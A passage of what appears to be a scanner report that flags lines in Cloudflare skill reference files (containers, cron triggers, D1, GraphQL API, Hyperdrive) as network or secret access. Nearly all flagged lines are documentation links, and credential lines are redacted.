    | Configure the container image, Durable Object binding, class, migrations, and instance count | [Wrangler Containers configuration](https://developers.cloudflare.com/workers/wrangler/configuration/index.md#containers) |
  • Network accessline 8
    | Select a predefined size or configure custom CPU, memory, and disk | [Limits and instance types](https://developers.cloudflare.com/containers/platform/limits/index.md) and [custom instance configuration](https://developers.cloudflare.com/
  • Network accessline 9
    | Set ports, readiness checks, idle timeout, entrypoint, or internet access | [Container properties](https://developers.cloudflare.com/containers/api/container-class/index.md#properties) |
  • Network accessline 10
    | Set runtime variables or pass secrets per instance | [Environment variables](https://developers.cloudflare.com/containers/configuration/environment-variables/index.md) and [environment variables and secrets example](https://developers.clo
  • Network accessline 11
    | Build images or use existing registry images | [Image management](https://developers.cloudflare.com/containers/guides/image-management/index.md) |
  • Network accessline 12
    | Run and iterate locally | [Local development](https://developers.cloudflare.com/containers/guides/local-dev/index.md) |
  • Network accessline 13
    | Deploy from a workstation or Workers Builds | [Deploy Containers](https://developers.cloudflare.com/containers/guides/deploy/index.md) |
  • Network accessline 14
    | Control image updates and replacement of running instances | [Rollouts](https://developers.cloudflare.com/containers/configuration/rollouts/index.md) |
  • Network accessline 15
    | Estimate resource and network costs | [Pricing](https://developers.cloudflare.com/containers/platform/pricing/index.md) |

packages/autoskills/skills-registry/cloudflare/references/containers/gotchas.md

  • Network accessline 5
    | Symptom or concern | Documentation to read | | --- | --- | | Startup timeout or unavailable port | [Start and stop](https://developers.cloudflare.com/containers/api/container-class/index.md#start-and-stop), [Container properties](https://
  • Network accessline 6
    | --- | --- | | Startup timeout or unavailable port | [Start and stop](https://developers.cloudflare.com/containers/api/container-class/index.md#start-and-stop), [Container properties](https://developers.cloudflare.com/containers/api/contai
  • Network accessline 7
    | Startup timeout or unavailable port | [Start and stop](https://developers.cloudflare.com/containers/api/container-class/index.md#start-and-stop), [Container properties](https://developers.cloudflare.com/containers/api/container-class/inde
  • Network accessline 8
    | WebSocket forwarding fails | [WebSocket example](https://developers.cloudflare.com/containers/examples/websocket/index.md) and [request methods](https://developers.cloudflare.com/containers/api/container-class/index.md#request-methods) |
  • Network accessline 9
    | Background work stops on idle expiry | [Activity renewal](https://developers.cloudflare.com/containers/api/container-class/index.md#renewactivitytimeout) and [idle expiry hook](https://developers.cloudflare.com/containers/api/container-cl
  • Network accessline 10
    | Scheduled callbacks do not run | [Scheduling and alarm ownership](https://developers.cloudflare.com/containers/api/container-class/index.md#scheduling) |
  • Network accessline 11
    | Shutdown cleanup or filesystem data loss | [Container shutdown and disk lifecycle](https://developers.cloudflare.com/containers/concepts/architecture/index.md#container-shutdown) |
  • Network accessline 12
    | Out-of-memory errors or resource exhaustion | [FAQ](https://developers.cloudflare.com/containers/faq/index.md) and [limits and instance types](https://developers.cloudflare.com/containers/platform/limits/index.md) |
  • Network accessline 13
    | Instance count exceeded or unexpected request distribution | [Wrangler configuration](https://developers.cloudflare.com/workers/wrangler/configuration/index.md#containers) and [scaling and routing](https://developers.cloudflare.com/contai
  • Network accessline 14
    | Worker and container image versions differ after deployment | [Deployment behavior](https://developers.cloudflare.com/containers/guides/deploy/index.md) and [rollouts](https://developers.cloudflare.com/containers/configuration/rollouts/in
  • Network accessline 15
    | Local behavior differs from deployed behavior | [Local development](https://developers.cloudflare.com/containers/guides/local-dev/index.md) |
  • Network accessline 16
    | Logs, cold starts, or runtime availability questions | [FAQ](https://developers.cloudflare.com/containers/faq/index.md) |

packages/autoskills/skills-registry/cloudflare/references/containers/patterns.md

  • Network accessline 3
    Choose instance identity based on the workload: per-user/session or per-job identities for affinity, one shared identity for a singleton, and interchangeable instances for stateless requests. Read [scaling and routing](https://developers.cl
  • Network accessline 5
    | Task | Documentation | | --- | --- | | Distribute requests across stateless instances | [Stateless instances example](https://developers.cloudflare.com/containers/examples/stateless/index.md) |
  • Network accessline 6
    | --- | --- | | Distribute requests across stateless instances | [Stateless instances example](https://developers.cloudflare.com/containers/examples/stateless/index.md) | | Forward WebSocket connections | [WebSocket example](https://develop
  • Network accessline 7
    | Distribute requests across stateless instances | [Stateless instances example](https://developers.cloudflare.com/containers/examples/stateless/index.md) |
  • Network accessline 8
    | Forward WebSocket connections | [WebSocket example](https://developers.cloudflare.com/containers/examples/websocket/index.md) |
  • Network accessline 9
    | React to lifecycle changes | [Status hooks example](https://developers.cloudflare.com/containers/examples/status-hooks/index.md) |
  • Network accessline 10
    | Handle shutdown and persist data across restarts | [Container lifecycle](https://developers.cloudflare.com/containers/concepts/architecture/index.md) and [Container interface](https://developers.cloudflare.com/containers/api/container-cla
  • Network accessline 11
    | Keep long operations active or schedule callbacks | [Activity renewal](https://developers.cloudflare.com/containers/api/container-class/index.md#renewactivitytimeout) and [scheduling](https://developers.cloudflare.com/containers/api/conta
  • Network accessline 12
    | Start containers on a cron schedule | [Cron container example](https://developers.cloudflare.com/containers/examples/cron/index.md) | | Route requests to multiple ports | [Request methods](https://developers.cloudflare.com/containers/api/
  • Network accessline 13
    | Route requests to multiple ports | [Request methods](https://developers.cloudflare.com/containers/api/container-class/index.md#request-methods) and [utility functions](https://developers.cloudflare.com/containers/api/container-class/index
  • Network accessline 14
    | Access Workers bindings from the container | [Connect to Workers and bindings](https://developers.cloudflare.com/containers/configuration/workers-connections/index.md) |
  • Network accessline 18
    For multi-step orchestration, combine the [Workflows Workers API](https://developers.cloudflare.com/workflows/build/workers-api/index.md) with the [Container API](api.md). For queue-driven jobs, read the [Queues consumer API](https://develo

packages/autoskills/skills-registry/cloudflare/references/cron-triggers/README.md

  • Network accessline 5
    - **Set up a recurring job:** [Cron Triggers](https://developers.cloudflare.com/workers/configuration/cron-triggers/index.md) covers scheduling, deployment, and execution history.
  • Network accessline 6
    - **Implement the job:** [Scheduled handler](https://developers.cloudflare.com/workers/runtime-apis/handlers/scheduled/index.md) covers controller properties, asynchronous work, and multiple schedules. - **Schedule durable work:** [Trigger 
  • Network accessline 7
    - **Schedule durable work:** [Trigger Workflows](https://developers.cloudflare.com/workflows/build/trigger-workflows/index.md) covers direct Workflow schedules and starting instances from a Worker. Check this before introducing a Worker who
  • Network accessline 8
    - **Check capacity:** fetch [Workers limits](https://developers.cloudflare.com/workers/platform/limits/index.md) for the target plan and invocation type.

packages/autoskills/skills-registry/cloudflare/references/cron-triggers/api.md

  • Network accessline 5
    | Task | Documentation | | --- | --- | | Implement the handler and access the cron expression, scheduled time, bindings, and context | [Scheduled handler](https://developers.cloudflare.com/workers/runtime-apis/handlers/scheduled/index.md) |
  • Network accessline 6
    | --- | --- | | Implement the handler and access the cron expression, scheduled time, bindings, and context | [Scheduled handler](https://developers.cloudflare.com/workers/runtime-apis/handlers/scheduled/index.md) | | Route different schedu
  • Network accessline 7
    | Implement the handler and access the cron expression, scheduled time, bindings, and context | [Scheduled handler](https://developers.cloudflare.com/workers/runtime-apis/handlers/scheduled/index.md) |
  • Network accessline 8
    | Route different schedules to different operations | [Handle multiple cron triggers](https://developers.cloudflare.com/workers/runtime-apis/handlers/scheduled/index.md#handle-multiple-cron-triggers) |
  • Network accessline 9
    | Await work and understand how asynchronous failures affect invocation status | [Handler methods](https://developers.cloudflare.com/workers/runtime-apis/handlers/scheduled/index.md#methods) |
  • Network accessline 10
    | Invoke a scheduled handler locally with a chosen expression or time | [Test Cron Triggers locally](https://developers.cloudflare.com/workers/configuration/cron-triggers/index.md#test-cron-triggers-locally) |
  • Network accessline 11
    | Build tests using runtime-backed controllers and execution contexts | [Workers test APIs](https://developers.cloudflare.com/workers/testing/vitest-integration/test-apis/index.md) |
  • Network accessline 12
    | Start and inspect a Workflow instance | [Trigger Workflows](https://developers.cloudflare.com/workflows/build/trigger-workflows/index.md) |

packages/autoskills/skills-registry/cloudflare/references/cron-triggers/configuration.md

  • Network accessline 5
    | Task | Documentation | | --- | --- | | Add a handler and configure triggers, including per-environment schedules and deployment propagation | [Add a Cron Trigger](https://developers.cloudflare.com/workers/configuration/cron-triggers/index
  • Network accessline 6
    | --- | --- | | Add a handler and configure triggers, including per-environment schedules and deployment propagation | [Add a Cron Trigger](https://developers.cloudflare.com/workers/configuration/cron-triggers/index.md#add-a-cron-trigger) |
  • Network accessline 7
    | Add a handler and configure triggers, including per-environment schedules and deployment propagation | [Add a Cron Trigger](https://developers.cloudflare.com/workers/configuration/cron-triggers/index.md#add-a-cron-trigger) |
  • Network accessline 8
    | Choose an expression, interpret weekday numbering, or check supported extensions | [Supported cron expressions](https://developers.cloudflare.com/workers/configuration/cron-triggers/index.md#supported-cron-expressions) |
  • Network accessline 9
    | Remove schedules or distinguish omission from an empty configuration | [Remove a Cron Trigger](https://developers.cloudflare.com/workers/configuration/cron-triggers/index.md#remove-a-cron-trigger) |
  • Network accessline 10
    | Configure renewable-energy execution locations | [Green Compute](https://developers.cloudflare.com/workers/configuration/cron-triggers/index.md#green-compute) |
  • Network accessline 11
    | Check trigger counts and execution budgets | [Workers limits](https://developers.cloudflare.com/workers/platform/limits/index.md) |
  • Network accessline 12
    | Schedule Workflow instances directly | [Schedule a Workflow directly](https://developers.cloudflare.com/workflows/build/trigger-workflows/index.md#schedule-a-workflow-directly) |

packages/autoskills/skills-registry/cloudflare/references/cron-triggers/gotchas.md

  • Network accessline 5
    | Symptom or question | Documentation and check | | --- | --- | | Job runs at an unexpected time | Check [UTC execution](https://developers.cloudflare.com/workers/configuration/cron-triggers/index.md#background) and [expression syntax](http
  • Network accessline 6
    | --- | --- | | Job runs at an unexpected time | Check [UTC execution](https://developers.cloudflare.com/workers/configuration/cron-triggers/index.md#background) and [expression syntax](https://developers.cloudflare.com/workers/configuratio
  • Network accessline 7
    | Job runs at an unexpected time | Check [UTC execution](https://developers.cloudflare.com/workers/configuration/cron-triggers/index.md#background) and [expression syntax](https://developers.cloudflare.com/workers/configuration/cron-trigger
  • Network accessline 8
    | Schedule is missing after deployment | Check the handler, target environment, and propagation guidance in [Add a Cron Trigger](https://developers.cloudflare.com/workers/configuration/cron-triggers/index.md#add-a-cron-trigger). |
  • Network accessline 9
    | Removing or preserving schedules has an unexpected result | Review [Remove a Cron Trigger](https://developers.cloudflare.com/workers/configuration/cron-triggers/index.md#remove-a-cron-trigger) before changing empty or omitted configuratio
  • Network accessline 10
    | Local invocation fails | Follow [Test Cron Triggers locally](https://developers.cloudflare.com/workers/configuration/cron-triggers/index.md#test-cron-triggers-locally) for the supported endpoint, port, and query parameters. |
  • Network accessline 11
    | Async work fails or completion status is surprising | Read [handler methods](https://developers.cloudflare.com/workers/runtime-apis/handlers/scheduled/index.md#methods) and inspect [past events](https://developers.cloudflare.com/workers/c
  • Network accessline 12
    | Job exceeds its execution budget | Check [Workers limits](https://developers.cloudflare.com/workers/platform/limits/index.md) before choosing a smaller unit of work or [Workflows](../workflows/README.md). |
  • Network accessline 13
    | Green Compute behavior differs from expectations | Read [Green Compute](https://developers.cloudflare.com/workers/configuration/cron-triggers/index.md#green-compute) for its execution-location policy and account configuration. |

packages/autoskills/skills-registry/cloudflare/references/cron-triggers/patterns.md

  • Network accessline 5
    | Need | Documentation | | --- | --- | | Periodic API sync, cleanup, reports, or health checks in a Worker | [Cron Triggers background](https://developers.cloudflare.com/workers/configuration/cron-triggers/index.md#background) and [schedule
  • Network accessline 6
    | --- | --- | | Periodic API sync, cleanup, reports, or health checks in a Worker | [Cron Triggers background](https://developers.cloudflare.com/workers/configuration/cron-triggers/index.md#background) and [scheduled handler](https://develo
  • Network accessline 7
    | Periodic API sync, cleanup, reports, or health checks in a Worker | [Cron Triggers background](https://developers.cloudflare.com/workers/configuration/cron-triggers/index.md#background) and [scheduled handler](https://developers.cloudflar
  • Network accessline 8
    | Different jobs on different schedules | [Handle multiple cron triggers](https://developers.cloudflare.com/workers/runtime-apis/handlers/scheduled/index.md#handle-multiple-cron-triggers) |
  • Network accessline 9
    | Durable multi-step work started on a schedule | [Trigger Workflows](https://developers.cloudflare.com/workflows/build/trigger-workflows/index.md) |
  • Network accessline 10
    | Send work to a queue and implement its consumer | [Queues JavaScript APIs](https://developers.cloudflare.com/queues/configuration/javascript-apis/index.md) |
  • Network accessline 11
    | Coordinate state across invocations | [What are Durable Objects?](https://developers.cloudflare.com/durable-objects/concepts/what-are-durable-objects/index.md) |
  • Network accessline 12
    | Inspect whether scheduled work ran | [View past events](https://developers.cloudflare.com/workers/configuration/cron-triggers/index.md#view-past-events) |
  • Network accessline 16
    Use [Workers limits](https://developers.cloudflare.com/workers/platform/limits/index.md) to evaluate whether the job fits one invocation. If it needs durable steps, waiting, or explicit retry boundaries, inspect [Workflows](../workflows/REA

packages/autoskills/skills-registry/cloudflare/references/d1/README.md

  • Network accessline 3
    Use D1 for managed relational application data with SQLite semantics. For an existing external database, consider [Hyperdrive](../hyperdrive/); for per-entity coordination, consider [Durable Objects](https://developers.cloudflare.com/worker
  • Network accessline 9
    - [Get started](https://developers.cloudflare.com/d1/get-started/index.md): create a database, bind it to a Worker, and run a first query.
  • Network accessline 15
    Check [limits](https://developers.cloudflare.com/d1/platform/limits/index.md) and [pricing](https://developers.cloudflare.com/d1/platform/pricing/index.md) for capacity, allowances, and plan availability; do not infer them from old examples

packages/autoskills/skills-registry/cloudflare/references/d1/api.md

  • Network accessline 5
    | Task | Current documentation | | --- | --- | | Bind values and choose a query execution method | [Prepared statement methods](https://developers.cloudflare.com/d1/worker-api/prepared-statements/index.md) |
  • Network accessline 6
    | --- | --- | | Bind values and choose a query execution method | [Prepared statement methods](https://developers.cloudflare.com/d1/worker-api/prepared-statements/index.md) | | Execute batches and understand transaction rollback; use databa
  • Network accessline 7
    | Bind values and choose a query execution method | [Prepared statement methods](https://developers.cloudflare.com/d1/worker-api/prepared-statements/index.md) |
  • Network accessline 8
    | Execute batches and understand transaction rollback; use database sessions | [D1 Database API](https://developers.cloudflare.com/d1/worker-api/d1-database/index.md) |
  • Network accessline 9
    | Interpret results and query metadata | [Return objects](https://developers.cloudflare.com/d1/worker-api/return-object/index.md) | | Choose supported JavaScript values and TypeScript result types | [Workers Binding API](https://developers.
  • Network accessline 10
    | Choose supported JavaScript values and TypeScript result types | [Workers Binding API](https://developers.cloudflare.com/d1/worker-api/index.md) | | Choose consistency constraints and carry bookmarks between requests | [Read replication a
  • Network accessline 11
    | Choose consistency constraints and carry bookmarks between requests | [Read replication and Sessions API](https://developers.cloudflare.com/d1/best-practices/read-replication/index.md) |
  • Network accessline 12
    | Query from a server-side script outside Workers | [REST query API](https://developers.cloudflare.com/api/resources/d1/subresources/database/methods/query/index.md) |
  • Network accessline 13
    | Handle query failures and transient errors | [Debug D1](https://developers.cloudflare.com/d1/observability/debug-d1/index.md) and [retry queries](https://developers.cloudflare.com/d1/best-practices/retry-queries/index.md) |
  • Network accessline 14
    | Test database queries and apply migrations in tests | [Workers Vitest APIs: D1](https://developers.cloudflare.com/workers/testing/vitest-integration/test-apis/index.md#d1) |

packages/autoskills/skills-registry/cloudflare/references/d1/configuration.md

  • Network accessline 5
    | Task | Current documentation | | --- | --- | | Create a database and attach a Worker binding | [Getting started](https://developers.cloudflare.com/d1/get-started/index.md) |
  • Network accessline 6
    | --- | --- | | Create a database and attach a Worker binding | [Getting started](https://developers.cloudflare.com/d1/get-started/index.md) | | Configure binding fields and multiple databases | [Wrangler D1 configuration](https://developer
  • Network accessline 7
    | Create a database and attach a Worker binding | [Getting started](https://developers.cloudflare.com/d1/get-started/index.md) |
  • Network accessline 8
    | Configure binding fields and multiple databases | [Wrangler D1 configuration](https://developers.cloudflare.com/workers/wrangler/configuration/index.md#d1-databases) |
  • Network accessline 9
    | Separate staging and production databases | [D1 environments](https://developers.cloudflare.com/d1/configuration/environments/index.md) |
  • Network accessline 10
    | Create, track, and apply schema migrations | [Migrations](https://developers.cloudflare.com/d1/reference/migrations/index.md) |
  • Network accessline 11
    | Look up CLI flags for management, execution, and exports | [D1 Wrangler commands](https://developers.cloudflare.com/d1/wrangler-commands/index.md) |
  • Network accessline 12
    | Develop against local database state | [Local development](https://developers.cloudflare.com/d1/best-practices/local-development/index.md) |
  • Network accessline 13
    | Generate binding types | [Workers TypeScript](https://developers.cloudflare.com/workers/languages/typescript/index.md) |
  • Network accessline 14
    | Choose an ORM or query builder, including Drizzle | [D1 community projects](https://developers.cloudflare.com/d1/reference/community-projects/index.md) (follow the integration's current setup guide) |
  • Network accessline 15
    | Import or export SQL data | [Import and export data](https://developers.cloudflare.com/d1/best-practices/import-export-data/index.md) |
  • Network accessline 16
    | Enable replicas and use them through sessions | [Read replication](https://developers.cloudflare.com/d1/best-practices/read-replication/index.md) |

packages/autoskills/skills-registry/cloudflare/references/d1/gotchas.md

  • Network accessline 5
    | Symptom or question | What to check | | --- | --- | | Missing table, query exception, or constraint error | [Debug D1](https://developers.cloudflare.com/d1/observability/debug-d1/index.md); verify the target binding, environment, and appl
  • Network accessline 6
    | --- | --- | | Missing table, query exception, or constraint error | [Debug D1](https://developers.cloudflare.com/d1/observability/debug-d1/index.md); verify the target binding, environment, and applied [migrations](https://developers.clou
  • Network accessline 7
    | Missing table, query exception, or constraint error | [Debug D1](https://developers.cloudflare.com/d1/observability/debug-d1/index.md); verify the target binding, environment, and applied [migrations](https://developers.cloudflare.com/d1/
  • Network accessline 8
    | Boolean, date, or other binding type mismatch | [Workers Binding API type conversion](https://developers.cloudflare.com/d1/worker-api/index.md) and [SQL support](https://developers.cloudflare.com/d1/sql-api/sql-statements/index.md) |
  • Network accessline 9
    | Foreign key failure during writes or migrations | [Foreign key enforcement and deferral](https://developers.cloudflare.com/d1/sql-api/foreign-keys/index.md) |
  • Network accessline 10
    | Slow queries, scans, or excessive rows read | [Indexes and query plans](https://developers.cloudflare.com/d1/best-practices/use-indexes/index.md) and [metrics](https://developers.cloudflare.com/d1/observability/metrics-analytics/index.md)
  • Network accessline 11
    | Query duration, statement, storage, or account limits | [Current limits](https://developers.cloudflare.com/d1/platform/limits/index.md) |
  • Network accessline 12
    | Unexpected usage charges or plan assumptions | [Pricing](https://developers.cloudflare.com/d1/platform/pricing/index.md) |
  • Network accessline 13
    | Stale reads after a write | [Sessions, bookmarks, and read replication](https://developers.cloudflare.com/d1/best-practices/read-replication/index.md) |
  • Network accessline 14
    | Transient query failures | [Retry guidance](https://developers.cloudflare.com/d1/best-practices/retry-queries/index.md); check idempotency before retrying writes |
  • Network accessline 15
    | Import/export failure or unsupported data | [Import/export behavior and limitations](https://developers.cloudflare.com/d1/best-practices/import-export-data/index.md) |
  • Network accessline 16
    | Local and deployed databases differ | [Local development](https://developers.cloudflare.com/d1/best-practices/local-development/index.md) and [environment configuration](https://developers.cloudflare.com/d1/configuration/environments/inde

packages/autoskills/skills-registry/cloudflare/references/d1/patterns.md

  • Network accessline 5
    | Task | Current documentation | | --- | --- | | Design pagination, filters, joins, and aggregations | [Query a database](https://developers.cloudflare.com/d1/best-practices/query-d1/index.md) and [supported SQL](https://developers.cloudfla
  • Network accessline 6
    | --- | --- | | Design pagination, filters, joins, and aggregations | [Query a database](https://developers.cloudflare.com/d1/best-practices/query-d1/index.md) and [supported SQL](https://developers.cloudflare.com/d1/sql-api/sql-statements/
  • Network accessline 7
    | Design pagination, filters, joins, and aggregations | [Query a database](https://developers.cloudflare.com/d1/best-practices/query-d1/index.md) and [supported SQL](https://developers.cloudflare.com/d1/sql-api/sql-statements/index.md) |
  • Network accessline 8
    | Reduce scans and inspect query plans | [Use indexes](https://developers.cloudflare.com/d1/best-practices/use-indexes/index.md) |
  • Network accessline 9
    | Batch writes or transform data | [Database API](https://developers.cloudflare.com/d1/worker-api/d1-database/index.md) and [limits](https://developers.cloudflare.com/d1/platform/limits/index.md) |
  • Network accessline 10
    | Store and query event metadata | [Query JSON](https://developers.cloudflare.com/d1/sql-api/query-json/index.md) |
  • Network accessline 11
    | Evaluate a cache in front of D1 | [How KV works](https://developers.cloudflare.com/kv/concepts/how-kv-works/index.md) |
  • Network accessline 12
    | Choose shared or per-tenant databases | [D1 FAQs](https://developers.cloudflare.com/d1/reference/faq/index.md) and [limits](https://developers.cloudflare.com/d1/platform/limits/index.md) |
  • Network accessline 13
    | Reduce read latency while preserving required consistency | [Read replication](https://developers.cloudflare.com/d1/best-practices/read-replication/index.md) |
  • Network accessline 14
    | Plan point-in-time recovery or portable backups | [Time Travel](https://developers.cloudflare.com/d1/reference/time-travel/index.md) and [import/export](https://developers.cloudflare.com/d1/best-practices/import-export-data/index.md) |

packages/autoskills/skills-registry/cloudflare/references/graphql-api/README.md

  • Network accessline 7
    - **Single endpoint** for all analytics: `https://api.cloudflare.com/client/v4/graphql`
  • Network accessline 32
    | Concept | Description | |---------|-------------| | **Endpoint** | `POST https://api.cloudflare.com/client/v4/graphql` |
  • Network accessline 33
    |---------|-------------| | **Endpoint** | `POST https://api.cloudflare.com/client/v4/graphql` | | **Explorer** | [graphql.cloudflare.com](https://graphql.cloudflare.com/) - interactive query builder |
  • Network accessline 34
    | **Endpoint** | `POST https://api.cloudflare.com/client/v4/graphql` |
  • Network accessline 35
    | **Explorer** | [graphql.cloudflare.com](https://graphql.cloudflare.com/) - interactive query builder |
  • Network accessline 142
    - [GraphQL Analytics API Docs](https://developers.cloudflare.com/analytics/graphql-api/index.md)
  • Network accessline 143
    - [GraphQL API Explorer](https://graphql.cloudflare.com/)
  • Network accessline 144
    - [Observability Reference](../observability/) - Workers Logs, Tail Workers, console logging - [Analytics Engine Reference](../analytics-engine/) - Custom high-cardinality analytics via Workers - [Web Analytics docs](https://developers.clou
  • Network accessline 145
    - [Analytics Engine Reference](../analytics-engine/) - Custom high-cardinality analytics via Workers - [Web Analytics docs](https://developers.cloudflare.com/web-analytics/index.md) - Client-side (RUM) analytics - [Cloudflare API docs](http
  • Network accessline 146
    - [Web Analytics docs](https://developers.cloudflare.com/web-analytics/index.md) - Client-side (RUM) analytics
  • Network accessline 147
    - [Cloudflare API docs](https://developers.cloudflare.com/fundamentals/api/index.md) - REST API, SDKs, authentication basics

packages/autoskills/skills-registry/cloudflare/references/graphql-api/configuration.md

  • Network accessline 13
    Create tokens at: [dash.cloudflare.com > Account API Tokens](https://dash.cloudflare.com/?to=/:account/api-tokens)
  • Network accessline 16
    # Verify token curl -s https://api.cloudflare.com/client/v4/graphql \
  • Network accessline 17
    [Credential-related source omitted]
  • Access to secretsline 17
    [Credential-related source omitted]
  • Access to secretsline 18
    [Credential-related source omitted]
  • Network accessline 32
    [Credential-related source omitted]
  • Access to secretsline 32
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Network accessline 44
    const GRAPHQL_ENDPOINT = "https://api.cloudflare.com/client/v4/graphql";
  • Network accessline 46
    async function queryGraphQL<T>(query: string, variables: Record<string, unknown> = {}): Promise<T> {   const response = await fetch(GRAPHQL_ENDPOINT, {
  • Network accessline 47
    const response = await fetch(GRAPHQL_ENDPOINT, {
  • Access to secretsline 49
    [Credential-related source omitted]
  • Network accessline 64
    def query_graphql(query: str, variables: dict = None) -> dict:     r = requests.post("https://api.cloudflare.com/client/v4/graphql",
  • Network accessline 65
    r = requests.post("https://api.cloudflare.com/client/v4/graphql",
  • Access to secretsline 66
    [Credential-related source omitted]
  • Network accessline 77
    Store the API token as a secret (`CF_API_TOKEN`). Use standard `fetch` to POST to `https://api.cloudflare.com/client/v4/graphql` with the same JSON body format as above. Always check `response.errors` — GraphQL returns 200 even on query fai
  • Network accessline 81
    Interactive explorer at [graphql.cloudflare.com](https://graphql.cloudflare.com/) — provides schema docs, autocomplete, variable panel, and shareable queries. Authenticates via your Cloudflare dashboard session.
  • Network accessline 109
    [Credential-related source omitted]
  • Access to secretsline 109
    [Credential-related source omitted]
  • Network accessline 110
    [Credential-related source omitted]
  • Access to secretsline 110
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare/references/graphql-api/gotchas.md

  • Network accessline 47
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare/references/hyperdrive/README.md

  • Network accessline 3
    Use Hyperdrive to connect Workers to an existing PostgreSQL or MySQL database with connection pooling and optional query caching. It does not replace the origin database or replicate its data. Start with [how Hyperdrive works](https://devel
  • Network accessline 7
    Fetch the relevant official page before implementing. Driver versions, compatibility settings, API shapes, CLI flags, cache settings, and limits belong in the docs rather than this reference. Use the [Hyperdrive documentation index](https:/
  • Network accessline 20
    - Choose a driver for the database engine and existing application stack; verify supported versions and Worker requirements in its guide. - Create database clients inside each handler invocation. Hyperdrive manages the underlying origin poo
  • Network accessline 21
    - Create database clients inside each handler invocation. Hyperdrive manages the underlying origin pool; consult [connection lifecycle](https://developers.cloudflare.com/hyperdrive/concepts/connection-lifecycle/index.md) for cleanup behavio
  • Network accessline 22
    - Choose caching by read freshness. Disabling caching still allows connection pooling; a write does not invalidate cached reads. See [query caching](https://developers.cloudflare.com/hyperdrive/concepts/query-caching/index.md).
  • Network accessline 26
    - [D1](../d1/) for a managed SQLite alternative. - [Workers](https://developers.cloudflare.com/workers/index.md) for the runtime and bindings.
  • Network accessline 27
    - [Workers](https://developers.cloudflare.com/workers/index.md) for the runtime and bindings.

packages/autoskills/skills-registry/cloudflare/references/hyperdrive/api.md

  • Network accessline 7
    | Task | Official documentation | |------|------------------------| | PostgreSQL with node-postgres (`pg`), including binding connection string and parameterized queries | [node-postgres](https://developers.cloudflare.com/hyperdrive/example
  • Network accessline 8
    |------|------------------------| | PostgreSQL with node-postgres (`pg`), including binding connection string and parameterized queries | [node-postgres](https://developers.cloudflare.com/hyperdrive/examples/connect-to-postgres/postgres-dri
  • Network accessline 9
    | PostgreSQL with node-postgres (`pg`), including binding connection string and parameterized queries | [node-postgres](https://developers.cloudflare.com/hyperdrive/examples/connect-to-postgres/postgres-drivers-and-libraries/node-postgres/i
  • Network accessline 10
    | PostgreSQL with tagged-template queries and Postgres.js driver options | [Postgres.js](https://developers.cloudflare.com/hyperdrive/examples/connect-to-postgres/postgres-drivers-and-libraries/postgres-js/index.md) |
  • Network accessline 11
    | MySQL with binding connection properties and Worker-specific driver options | [mysql2](https://developers.cloudflare.com/hyperdrive/examples/connect-to-mysql/mysql-drivers-and-libraries/mysql2/index.md) |
  • Network accessline 12
    | Check database features, prepared statements, and library compatibility | [Supported databases and features](https://developers.cloudflare.com/hyperdrive/reference/supported-databases-and-features/index.md) |
  • Network accessline 13
    | Generate binding and runtime TypeScript types | [Workers TypeScript](https://developers.cloudflare.com/workers/languages/typescript/index.md) |
  • Network accessline 15
    Keep an existing supported driver when it fits the application. Choose by database engine and library integration needs; do not infer cache behavior from a driver's prepared-statement setting. Fetch [query caching](https://developers.cloudf
  • Network accessline 19
    | Task | Official documentation | |------|------------------------| | Use Drizzle with PostgreSQL | [PostgreSQL Drizzle guide](https://developers.cloudflare.com/hyperdrive/examples/connect-to-postgres/postgres-drivers-and-libraries/drizzle-
  • Network accessline 20
    |------|------------------------| | Use Drizzle with PostgreSQL | [PostgreSQL Drizzle guide](https://developers.cloudflare.com/hyperdrive/examples/connect-to-postgres/postgres-drivers-and-libraries/drizzle-orm/index.md) | | Use Drizzle with
  • Network accessline 21
    | Use Drizzle with PostgreSQL | [PostgreSQL Drizzle guide](https://developers.cloudflare.com/hyperdrive/examples/connect-to-postgres/postgres-drivers-and-libraries/drizzle-orm/index.md) |
  • Network accessline 22
    | Use Drizzle with MySQL | [MySQL Drizzle guide](https://developers.cloudflare.com/hyperdrive/examples/connect-to-mysql/mysql-drivers-and-libraries/drizzle-orm/index.md) |
  • Network accessline 23
    | Use Prisma with PostgreSQL | [Prisma guide](https://developers.cloudflare.com/hyperdrive/examples/connect-to-postgres/postgres-drivers-and-libraries/prisma-orm/index.md) |
  • Network accessline 24
    | Assess another query builder, including Kysely | [Postgres.js integration notes](https://developers.cloudflare.com/hyperdrive/examples/connect-to-postgres/postgres-drivers-and-libraries/postgres-js/index.md) and [database compatibility](h
  • Network accessline 26
    An ORM still uses a database driver and inherits its Worker connection constraints. Keep clients scoped to the invocation using [connection lifecycle](https://developers.cloudflare.com/hyperdrive/concepts/connection-lifecycle/index.md). Whe

packages/autoskills/skills-registry/cloudflare/references/hyperdrive/configuration.md

  • Network accessline 5
    | Task | Official documentation | |------|------------------------| | Create the first configuration and bind it to a Worker | [Get started](https://developers.cloudflare.com/hyperdrive/get-started/index.md) |
  • Network accessline 6
    |------|------------------------| | Create the first configuration and bind it to a Worker | [Get started](https://developers.cloudflare.com/hyperdrive/get-started/index.md) | | Create, inspect, update, or delete configurations; set cache o
  • Network accessline 7
    | Create the first configuration and bind it to a Worker | [Get started](https://developers.cloudflare.com/hyperdrive/get-started/index.md) |
  • Network accessline 8
    | Create, inspect, update, or delete configurations; set cache or pool options | [Wrangler commands](https://developers.cloudflare.com/hyperdrive/reference/wrangler-commands/index.md) |
  • Network accessline 9
    | Generate TypeScript types from Worker configuration | [Workers TypeScript](https://developers.cloudflare.com/workers/languages/typescript/index.md) |
  • Network accessline 10
    | Connect a private database using the recommended Workers VPC route | [Workers VPC integration](https://developers.cloudflare.com/hyperdrive/configuration/connect-to-private-database-vpc/index.md) |
  • Network accessline 11
    | Maintain a private database connection using Tunnel and Access | [Tunnel integration](https://developers.cloudflare.com/hyperdrive/configuration/connect-to-private-database/index.md) |
  • Network accessline 12
    | Configure database network access | [Firewall and networking](https://developers.cloudflare.com/hyperdrive/configuration/firewall-and-networking-configuration/index.md) |
  • Network accessline 13
    | Configure server verification or client certificates | [SSL/TLS certificates](https://developers.cloudflare.com/hyperdrive/configuration/tls-ssl-certificates-for-hyperdrive/index.md) |
  • Network accessline 14
    | Rotate origin database credentials | [Credential rotation](https://developers.cloudflare.com/hyperdrive/configuration/rotate-credentials/index.md) |
  • Network accessline 15
    | Configure cache freshness or separate cached and fresh-read bindings | [Query caching](https://developers.cloudflare.com/hyperdrive/concepts/query-caching/index.md) |
  • Network accessline 16
